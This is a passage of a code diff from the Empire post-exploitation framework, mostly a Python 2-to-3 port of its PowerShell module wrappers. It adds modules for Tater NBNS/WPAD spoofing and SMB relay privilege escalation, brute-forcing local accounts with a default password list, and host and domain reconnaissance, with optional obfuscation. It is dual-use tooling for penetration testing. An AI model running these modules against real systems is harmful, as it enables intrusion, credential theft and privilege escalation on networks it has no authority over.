63 'Value' : 'Y'
64 'NBNSLimit': {
65 'Description': 'Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly (Y/N).',
66 'Required': False,
67 'Value': 'Y'
6468 },
65 'Trigger' : {
66 'Description' : 'Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task',
67 'Required' : False,
68 'Value' : '1'
69 'Trigger': {
70 'Description': 'Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task',
71 'Required': False,
72 'Value': '1'
6973 },
70 'ExhaustUDP' : {
71 'Description' : 'Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution (Y/N).',
72 'Required' : False,
73 'Value' : 'N'
74 'ExhaustUDP': {
75 'Description': 'Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution (Y/N).',
76 'Required': False,
77 'Value': 'N'
7478 },
75 'HTTPPort' : {
76 'Description' : 'TCP port for the HTTP listener.',
77 'Required' : False,
78 'Value' : '80'
79 'HTTPPort': {
80 'Description': 'TCP port for the HTTP listener.',
81 'Required': False,
82 'Value': '80'
7983 },
80 'Hostname' : {
81 'Description' : 'Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.',
82 'Required' : False,
83 'Value' : 'WPAD'
84 'Hostname': {
85 'Description': 'Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.',
86 'Required': False,
87 'Value': 'WPAD'
8488 },
85 'WPADDirectHosts' : {
86 'Description' : 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid catching Empire HTTP traffic.',
87 'Required' : False,
88 'Value' : ''
89 'WPADDirectHosts': {
90 'Description': 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid catching Empire HTTP traffic.',
91 'Required': False,
92 'Value': ''
8993 },
90 'WPADPort' : {
91 'Description' : 'Proxy server port to be included in the wpad.dat file.',
92 'Required' : False,
93 'Value' : '80'
94 'WPADPort': {
95 'Description': 'Proxy server port to be included in the wpad.dat file.',
96 'Required': False,
97 'Value': '80'
9498 },
95 'TaskDelete' : {
96 'Description' : 'Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.',
97 'Required' : False,
98 'Value' : 'Y'
99 'TaskDelete': {
100 'Description': 'Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.',
101 'Required': False,
102 'Value': 'Y'
99103 },
100 'Taskname' : {
101 'Description' : 'Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.',
102 'Required' : False,
103 'Value' : 'Empire'
104 'Taskname': {
105 'Description': 'Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.',
106 'Required': False,
107 'Value': 'Empire'
104108 },
105 'RunTime' : {
106 'Description' : 'Run time duration in minutes.',
107 'Required' : False,
108 'Value' : ''
109 'RunTime': {
110 'Description': 'Run time duration in minutes.',
111 'Required': False,
112 'Value': ''
109113 }
110114 }
111
115
112116 # save off a copy of the mainMenu object to access external functionality
113117 # like listeners/agent handlers/etc.
114118 self.mainMenu = mainMenu
115
119
116120 for param in params:
117121 # parameter format is [Name, Value]
118122 option, value = param
119123 if option in self.options:
120124 self.options[option]['Value'] = value
121
122
125
123126 def generate(self, obfuscate=False, obfuscationCommand=""):
124
127
125128 # read in the common module source code
126129 moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-Tater.ps1"
127130 if obfuscate:
130133 try:
131134 f = open(moduleSource, 'r')
132135 except:
133 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
136 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
134137 return ""
135
138
136139 moduleCode = f.read()
137140 f.close()
138
141
139142 script = moduleCode
140
143
141144 # set defaults for Empire
142145 scriptEnd = "\n" + 'Invoke-Tater -Tool "2" '
143
144 for option,values in self.options.iteritems():
146
147 for option, values in self.options.items():
145148 if option.lower() != "agent":
146149 if values['Value'] and values['Value'] != '':
147150 if values['Value'].lower() == "true":
154157 else:
155158 scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
156159 if obfuscate:
157 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
160 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd,
161 obfuscationCommand=obfuscationCommand)
158162 script += scriptEnd
159163 return script
+145
-0
lib/modules/powershell/recon/fetch_brute_local.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5 class Module(object):
6
7 def __init__(self, mainMenu, params=[]):
8
9 # metadata info about the module, not modified during runtime
10 self.info = {
11 # name for the module that will appear in module menus
12 'Name': 'Fetch local accounts on a member server and perform an online brute force attack',
13
14 # list of one or more authors for the module
15 'Author': ['Maarten Hartsuijker','@classityinfosec'],
16
17 # more verbose multi-line description of the module
18 'Description': ('This module will logon to a member server using the agents account or a provided account, fetch the local accounts and perform a network based brute force attack.'),
19
20 # True if the module needs to run in the background
21 'Background' : True,
22
23 # True if we're saving the output as a file
24 'SaveOutput' : False,
25
26 'OutputExtension' : None,
27
28 # True if the module needs admin rights to run
29 'NeedsAdmin' : False,
30
31 # True if the method doesn't touch disk/is reasonably opsec safe
32 'OpsecSafe' : True,
33
34 'Language' : 'powershell',
35
36 'MinLanguageVersion' : '2',
37
38 # list of any references/other comments
39 'Comments': [
40 'Inspired by Xfocus X-Scan. Recent Windows versions won\'t allow you to query userinfo using regular domain accounts, but on 2003/2008 member servers, the module might prove to be useful.'
41 ]
42 }
43
44 # any options needed by the module, settable during runtime
45 self.options = {
46 # format:
47 # value_name : {description, required, default_value}
48 'Agent' : {
49 # The 'Agent' option is the only one that MUST be in a module
50 'Description' : 'Agent to run the module on.',
51 'Required' : True,
52 'Value' : ''
53 },
54 'Loginacc' : {
55 # The 'Loginacc' is used to logon with alternate credentials
56 'Description' : 'Allows you to query the servers using credentials other than the credentials the agent is running as',
57 'Required' : False,
58 'Value' : ''
59 },
60 'Loginpass' : {
61 # The 'Loginpass' comes with Loginacc
62 'Description' : 'The password that comes with Loginacc',
63 'Required' : False,
64 'Value' : ''
65 },
66 'ServerType' : {
67 # The 'ServerType' option allows you to narrow down the scope. It defaults to all windows servers
68 'Description' : 'Allows you to narrow down the scope. It defaults to all windows servers.',
69 'Required' : False,
70 'Value' : 'Window*Server*'
71 },
72 'Passlist' : {
73 # The 'Passlist' option allows you to specify the passwords you want to test
74 'Description' : 'Comma seperated password list that should be tested against each account found',
75 'Required' : True,
76 'Value' : 'Welcome123,Password01,Test123!,Welcome2018'
77 },
78 'Verbose' : {
79 # The 'Verbose' option returns more query results
80 'Description' : 'Want to see failed logon attempts? And found users? Set this to any value.',
81 'Required' : False,
82 'Value' : ''
83 }
84 }
85
86 # save off a copy of the mainMenu object to access external functionality
87 # like listeners/agent handlers/etc.
88 self.mainMenu = mainMenu
89
90
91 if params:
92 for param in params:
93 # parameter format is [Name, Value]
94 option, value = param
95 if option in self.options:
96 self.options[option]['Value'] = value
97
98
99 def generate(self, obfuscate=False, obfuscationCommand=""):
100
101
102 Passlist = self.options['Passlist']['Value']
103 Verbose = self.options['Verbose']['Value']
104 ServerType = self.options['ServerType']['Value']
105 Loginacc = self.options['Loginacc']['Value']
106 Loginpass = self.options['Loginpass']['Value']
107 print(helpers.color("[+] Initiated using passwords: " + str(Passlist)))
108
109
110 # if you're reading in a large, external script that might be updates,
111 # use the pattern below
112 # read in the common module source code
113 moduleSource = self.mainMenu.installPath + "/data/module_source/recon/Fetch-And-Brute-Local-Accounts.ps1"
114 if obfuscate:
115 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
116 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
117 try:
118 f = open(moduleSource, 'r')
119 except:
120 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
121 return ""
122
123 moduleCode = f.read()
124 f.close()
125
126 script = moduleCode
127
128 scriptEnd = " Fetch-Brute"
129 if len(ServerType) >= 1:
130 scriptEnd += " -st "+ServerType
131 scriptEnd += " -pl "+Passlist
132 if len(Verbose) >= 1:
133 scriptEnd += " -vbse "+Verbose
134 if len(Loginacc) >= 1:
135 scriptEnd += " -lacc "+Loginacc
136 if len(Loginpass) >= 1:
137 scriptEnd += " -lpass "+Loginpass
138
139
140 if obfuscate:
141 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
142 script += scriptEnd
143 print(helpers.color("[+] Command: " + str(scriptEnd)))
144 return script
+6
-3
lib/modules/powershell/recon/find_fruit.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 from lib.common import helpers
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
100103 try:
101104 f = open(moduleSource, 'r')
102105 except:
103 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
106 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
104107 return ""
105108
106109 moduleCode = f.read()
112115
113116 showAll = self.options['ShowAll']['Value'].lower()
114117
115 for option,values in self.options.iteritems():
118 for option,values in self.options.items():
116119 if option.lower() != "agent" and option.lower() != "showall":
117120 if values['Value'] and values['Value'] != '':
118121 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/recon/get_sql_server_login_default_pw.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7780 with open(moduleSource, 'r') as source:
7881 script = source.read()
7982 except:
80 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
83 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8184 return ""
8285
8386 if check_all:
9093 auxScript = auxSource.read()
9194 script += " " + auxScript
9295 except:
93 print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
96 print(helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)))
9497 scriptEnd = " Get-SQLInstanceDomain "
9598 if username != "":
9699 scriptEnd += " -Username "+username
+6
-3
lib/modules/powershell/recon/http_login.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 from lib.common import helpers
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
105108 try:
106109 f = open(moduleSource, 'r')
107110 except:
108 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
111 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
109112 return ""
110113
111114 moduleCode = f.read()
115118
116119 scriptEnd = "\nTest-Login"
117120
118 for option,values in self.options.iteritems():
121 for option,values in self.options.items():
119122 if option.lower() != "agent" and option.lower() != "showall":
120123 if values['Value'] and values['Value'] != '':
121124 if values['Value'].lower() == "true":
+4
-2
lib/modules/powershell/situational_awareness/host/antivirusproduct.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
8991
9092 Get-AntiVirusProduct """
9193
92 for option,values in self.options.iteritems():
94 for option,values in self.options.items():
9395 if option.lower() != "agent":
9496 if values['Value'] and values['Value'] != '':
9597 if values['Value'].lower() == "true":
+137
-0
lib/modules/powershell/situational_awareness/host/applockerstatus.py less more
0 from builtins import str
1 from builtins import object
2 from lib.common import helpers
3
4
5 class Module(object):
6
7 def __init__(self, mainMenu, params=[]):
8
9 self.info = {
10 'Name': 'Get-AppLockerConfig',
11 'Author': ['@matterpreter', 'Matt Hand'],
12 'Description': ('This script is used to query the current AppLocker '
13 'policy on the target and check the status of a user-defined '
14 'executable or all executables in a path.'),
15 'Background': False,
16 'OutputExtension': None,
17 'NeedsAdmin': False,
18 'OpsecSafe': True,
19 'Language': 'powershell',
20 'MinLanguageVersion': '2',
21 'Comments': [
22 'comment',
23 'https://github.com/matterpreter/misc/blob/master/Get-AppLockerConfig.ps1'
24 ]
25 }
26
27 self.options = {
28 'Agent': {
29 'Description': 'Agent to run module on.',
30 'Required' : True,
31 'Value' : ''
32 },
33 'Executable': {
34 'Description': 'Full filepath of executable or folder to check.',
35 'Required' : True,
36 'Value' : 'c:\windows\system32\*.exe'
37 },
38 'User': {
39 'Description': 'Username to test the execution policy for.',
40 'Required' : False,
41 'Value' : 'Everyone'
42 }
43 }
44
45 # Save off a copy of the mainMenu object to access external
46 # functionality like listeners/agent handlers/etc.
47 self.mainMenu = mainMenu
48
49 # During instantiation, any settable option parameters are passed as
50 # an object set to the module and the options dictionary is
51 # automatically set. This is mostly in case options are passed on
52 # the command line.
53 if params:
54 for param in params:
55 # Parameter format is [Name, Value]
56 option, value = param
57 if option in self.options:
58 self.options[option]['Value'] = value
59
60 def generate(self, obfuscate=False, obfuscationCommand=""):
61
62 script = """
63 function Get-AppLockerConfig
64 {
65 <#
66 .SYNOPSIS
67
68 This script is used to query the current AppLocker policy for a specified executable.
69
70 Author: Matt Hand (@matterpreter)
71 Required Dependencies: None
72 Optional Dependencies: None
73 Version: 1.0
74
75 .DESCRIPTION
76
77 This script is used to query the current AppLocker policy on the target and check the status of a user-defined executable or all executables in a path.
78
79 .PARAMETER Executable
80
81 Full filepath of the executable to test. This also supports wildcards (*) to test all executables in a directory.
82
83 .PARAMETER User
84
85 User to test the policy for. Default is "Everyone."
86
87 .EXAMPLE
88
89 Get-AppLockerStatus 'c:\\windows\\system32\\calc.exe'
90 Tests the AppLocker policy for calc.exe for "Everyone."
91
92 Get-AppLockerStatus 'c:\\users\\jdoe\\Desktop\\*.exe' 'dguy'
93 Tests the AppLocker policy for "dguy" against every file ending in ".exe" in jdoe's Desktop folder.
94
95 #>
96 Param(
97 [Parameter(Mandatory=$true)]
98 [string]$Executable,
99 [string]$User = 'Everyone'
100 )
101
102 if (-NOT (test-path $Executable)){
103 Write-Output "[-] Executable not found or you do not have access to it. Exiting..."
104 Return
105 }
106
107 if (-NOT (Get-WmiObject Win32_UserAccount -Filter "LocalAccount='true' and Name='$User'")){
108 Write-Output "[-] User does not exist. Exiting..."
109 Return
110 }
111
112
113 $AppLockerCheck = Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path $Executable -User $User
114 $AppLockerStatus = $AppLockerCheck | Select-String -InputObject {$_.PolicyDecision} -Pattern "Allowed"
115
116 if ($AppLockerStatus -Match 'Allowed') { $Result = "[+] $Executable - ALLOWED for $User!" }
117 else { $Result = "[-] $Executable - BLOCKED for $USER"}
118
119 $Result
120 } Get-AppLockerConfig"""
121
122 scriptEnd = ""
123
124 # Add any arguments to the end execution of the script
125 for option, values in self.options.items():
126 if option.lower() != "agent":
127 if values['Value'] and values['Value'] != '':
128 if values['Value'].lower() == "true":
129 # if we're just adding a switch
130 scriptEnd += " -" + str(option)
131 else:
132 scriptEnd += " -" + str(option) + " " + str(values['Value'])
133 if obfuscate:
134 scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
135 script += scriptEnd
136 return script
+6
-3
lib/modules/powershell/situational_awareness/host/computerdetails.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8992 try:
9093 f = open(moduleSource, 'r')
9194 except:
92 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
95 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9396 return ""
9497
9598 moduleCode = f.read()
98101 script = moduleCode + "\n\n"
99102 scriptEnd = ""
100103
101 for option,values in self.options.iteritems():
104 for option,values in self.options.items():
102105 if option.lower() != "agent":
103106 if values['Value'] and values['Value'] != '':
104107 if option == "4624":
+4
-2
lib/modules/powershell/situational_awareness/host/dnsserver.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
9193 $DNSServerAddresses
9294 } Get-SystemDNSServer"""
9395
94 for option,values in self.options.iteritems():
96 for option,values in self.options.items():
9597 if option.lower() != "agent":
9698 if values['Value'] and values['Value'] != '':
9799 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/situational_awareness/host/findtrusteddocuments.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7275 try:
7376 f = open(moduleSource, 'r')
7477 except:
75 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
78 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7679 return ""
7780
7881 moduleCode = f.read()
+6
-3
lib/modules/powershell/situational_awareness/host/get_pathacl.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6467 try:
6568 f = open(moduleSource, 'r')
6669 except:
67 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
70 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6871 return ""
6972
7073 moduleCode = f.read()
7578
7679 script += moduleName + " "
7780
78 for option,values in self.options.iteritems():
81 for option,values in self.options.items():
7982 if option.lower() != "agent":
8083 if values['Value'] and values['Value'] != '':
8184 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/host/get_proxy.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6467 try:
6568 f = open(moduleSource, 'r')
6669 except:
67 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
70 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6871 return ""
6972
7073 moduleCode = f.read()
7578
7679 script += moduleName + " "
7780
78 for option,values in self.options.iteritems():
81 for option,values in self.options.items():
7982 if option.lower() != "agent":
8083 if values['Value'] and values['Value'] != '':
8184 if values['Value'].lower() == "true":
+4
-2
lib/modules/powershell/situational_awareness/host/get_uaclevel.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
9395 }
9496 } Get-UACLevel"""
9597
96 for option,values in self.options.iteritems():
98 for option,values in self.options.items():
9799 if option.lower() != "agent":
98100 if values['Value'] and values['Value'] != '':
99101 if values['Value'].lower() == "true":
+90
-0
lib/modules/powershell/situational_awareness/host/hostrecon.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5 class Module(object):
6
7 def __init__(self, mainMenu, params=[]):
8
9 # metadata info about the module, not modified during runtime
10 self.info = {
11 # name for the module that will appear in module menus
12 'Name': 'Invoke-HostRecon',
13
14 # list of one or more authors for the module
15 'Author': ['@mishradhiraj_'],
16
17 # more verbose multi-line description of the module
18 'Description': ('Invoke-HostRecon runs a number of checks on a system to help provide situational '
19 'awareness to a penetration tester during the reconnaissance phase '
20 'It gathers information about the local system, users, and domain information.'
21 ),
22
23 # True if the module needs to run in the background
24 'Background' : False,
25
26 # File extension to save the file as
27 'OutputExtension' : None,
28
29 # True if the module needs admin rights to run
30 'NeedsAdmin' : False,
31
32 # True if the method doesn't touch disk/is reasonably opsec safe
33 'OpsecSafe' : True,
34
35 'Language' : 'powershell',
36
37 'MinLanguageVersion' : '2',
38
39 # list of any references/other comments
40 'Comments': [
41 'Original .ps1 file',
42 'https://github.com/dafthack/HostRecon/blob/master/HostRecon.ps1'
43 ]
44 }
45
46 # any options needed by the module, settable during runtime
47 self.options = {
48 # format:
49 # value_name : {description, required, default_value}
50 'Agent' : {
51 # The 'Agent' option is the only one that MUST be in a module
52 'Description' : 'Agent to enumerate trusted documents from.',
53 'Required' : True,
54 'Value' : ''
55 }
56 }
57
58 # save off a copy of the mainMenu object to access external functionality
59 # like listeners/agent handlers/etc.
60 self.mainMenu = mainMenu
61
62 def generate(self, obfuscate=False, obfuscationCommand=""):
63
64 # the PowerShell script itself, with the command to invoke
65 # for execution appended to the end. Scripts should output
66 # everything to the pipeline for proper parsing.
67 #
68 # the script should be stripped of comments, with a link to any
69 # original reference script included in the comments.
70
71 moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/HostRecon.ps1"
72 if obfuscate:
73 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
74 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
75 try:
76 f = open(moduleSource, 'r')
77 except:
78 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
79 return ""
80
81 moduleCode = f.read()
82 f.close()
83
84 script = moduleCode
85 scriptEnd = "Invoke-HostRecon"
86 if obfuscate:
87 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
88 script += scriptEnd
89 return script
+6
-3
lib/modules/powershell/situational_awareness/host/monitortcpconnections.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9699 try:
97100 f = open(moduleSource, 'r')
98101 except:
99 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
102 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
100103 return ""
101104
102105 moduleCode = f.read()
106109 scriptEnd = "Start-TCPMonitor"
107110
108111 # add any arguments to the end execution of the script
109 for option,values in self.options.iteritems():
112 for option,values in self.options.items():
110113 if option.lower() != "agent":
111114 if values['Value'] and values['Value'] != '':
112115 if values['Value'].lower() == "true":
+8
-4
lib/modules/powershell/situational_awareness/host/paranoia.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5
6 class Module(object):
37
48 def __init__(self, mainMenu, params=[]):
59
4448 'Value' : ''
4549 },
4650 'WatchUsers' : {
47 'Description' : 'Users to watch out for in the form of domain\user, domain\user2, localuser',
51 'Description' : 'Users to watch out for in the form of domain\\user, domain\\user2, localuser',
4852 'Required' : False,
4953 'Value' : ''
5054 },
8286 try:
8387 f = open(moduleSource, 'r')
8488 except:
85 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
89 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8690 return ""
8791
8892 moduleCode = f.read()
9397 scriptEnd = "Invoke-Paranoia "
9498
9599 # add any arguments to the end execution of the script
96 for option,values in self.options.iteritems():
100 for option,values in self.options.items():
97101 if option.lower() != "agent":
98102 if values['Value'] and values['Value'] != '':
99103 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/host/winenum.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6972 try:
7073 f = open(moduleSource, 'r')
7174 except:
72 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
75 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7376 return ""
7477
7578 moduleCode = f.read()
8083 scriptEnd = "Invoke-WinEnum "
8184
8285 # add any arguments to the end execution of the script
83 for option,values in self.options.iteritems():
86 for option,values in self.options.items():
8487 if option.lower() != "agent":
8588 if values['Value'] and values['Value'] != '':
8689 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/arpscan.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6972 try:
7073 f = open(moduleSource, 'r')
7174 except:
72 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
75 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7376 return ""
7477
7578 moduleCode = f.read()
7982
8083 scriptEnd = "Invoke-ARPScan "
8184
82 for option,values in self.options.iteritems():
85 for option,values in self.options.items():
8386 if option.lower() != "agent":
8487 if values['Value'] and values['Value'] != '':
8588 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/bloodhound.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
138141 try:
139142 f = open(moduleSource, 'r')
140143 except:
141 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
144 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
142145 return ""
143146
144147 moduleCode = f.read()
147150 script = "%s\n" %(moduleCode)
148151 scriptEnd = moduleName
149152
150 for option,values in self.options.iteritems():
153 for option,values in self.options.items():
151154 if option.lower() != "agent":
152155 if values['Value'] and values['Value'] != '':
153156 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/situational_awareness/network/get_exploitable_system.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9093 try:
9194 f = open(moduleSource, 'r')
9295 except:
93 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
96 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9497 return ""
9598
9699 moduleCode = f.read()
101104
102105 script += moduleName + " "
103106
104 for option,values in self.options.iteritems():
107 for option,values in self.options.items():
105108 if option.lower() != "agent":
106109 if values['Value'] and values['Value'] != '':
107110 if values['Value'].lower() == "true":
+125
-0
lib/modules/powershell/situational_awareness/network/get_kerberos_service_ticket.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5
6 class Module(object):
7
8 def __init__(self, mainMenu, params=[]):
9
10 # Metadata info about the module, not modified during runtime
11 self.info = {
12 # Name for the module that will appear in module menus
13 'Name': 'Get-KerberosServiceTicket',
14
15 # List of one or more authors for the module
16 'Author': ['@OneLogicalMyth'],
17
18 # More verbose multi-line description of the module
19 'Description': ('Retrieves IP addresses and usernames using event ID 4769 this can allow identification of a users machine. Can only run on a domain controller.'),
20
21 # True if the module needs to run in the background
22 'Background': False,
23
24 # File extension to save the file as
25 'OutputExtension': None,
26
27 # True if the module needs admin rights to run
28 'NeedsAdmin': True,
29
30 # True if the method doesn't touch disk/is reasonably opsec safe
31 'OpsecSafe': True,
32
33 # The language for this module
34 'Language': 'powershell',
35
36 # The minimum PowerShell version needed for the module to run
37 'MinLanguageVersion': '2',
38
39 # List of any references/other comments
40 'Comments': [
41 'https://github.com/OneLogicalMyth/Empire'
42 ]
43 }
44
45 # Any options needed by the module, settable during runtime
46 self.options = {
47 # Format:
48 # value_name : {description, required, default_value}
49 'Agent': {
50 # The 'Agent' option is the only one that MUST be in a module
51 'Description': 'Agent to use for the event log search',
52 'Required' : True,
53 'Value' : ''
54 },
55 'UserName': {
56 'Description': 'UserName to find, must be in the format of [email protected]',
57 'Required' : False,
58 'Value' : ''
59 },
60 'MaxEvents': {
61 'Description': 'Maximum events to return',
62 'Required' : False,
63 'Value' : '1000'
64 },
65 'ExcludeComputers': {
66 'Description': 'Exclude computers from the results',
67 'Required' : False,
68 'Value' : 'True'
69 }
70 }
71
72 # Save off a copy of the mainMenu object to access external
73 # functionality like listeners/agent handlers/etc.
74 self.mainMenu = mainMenu
75
76 # During instantiation, any settable option parameters are passed as
77 # an object set to the module and the options dictionary is
78 # automatically set. This is mostly in case options are passed on
79 # the command line.
80 if params:
81 for param in params:
82 # Parameter format is [Name, Value]
83 option, value = param
84 if option in self.options:
85 self.options[option]['Value'] = value
86
87
88 def generate(self, obfuscate=False, obfuscationCommand=""):
89
90 username = self.options['UserName']['Value']
91 maxevents = self.options['MaxEvents']['Value']
92 excludecomputers = self.options['ExcludeComputers']['Value']
93
94 # Read in the source script
95 moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-KerberosServiceTicket.ps1"
96 if obfuscate:
97 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
98 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
99 try:
100 f = open(moduleSource, 'r')
101 except:
102 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
103 return ""
104
105 moduleCode = f.read()
106 f.close()
107 script = moduleCode
108
109 scriptEnd = "Get-KerberosServiceTicket"
110 if username != "":
111 scriptEnd += " -UserName " + username
112 if maxevents != "":
113 scriptEnd += " -MaxEvents " + maxevents
114 if excludecomputers == 'True':
115 scriptEnd += " -ExcludeComputers $true"
116 if excludecomputers == 'False':
117 scriptEnd += " -ExcludeComputers $false"
118
119 scriptEnd += " | Format-Table -AutoSize | Out-String"
120
121 if obfuscate:
122 scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
123 script += scriptEnd
124 return script⏎
+6
-3
lib/modules/powershell/situational_awareness/network/get_spn.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7174 try:
7275 f = open(moduleSource, 'r')
7376 except:
74 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
77 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7578 return ""
7679
7780 moduleCode = f.read()
8184
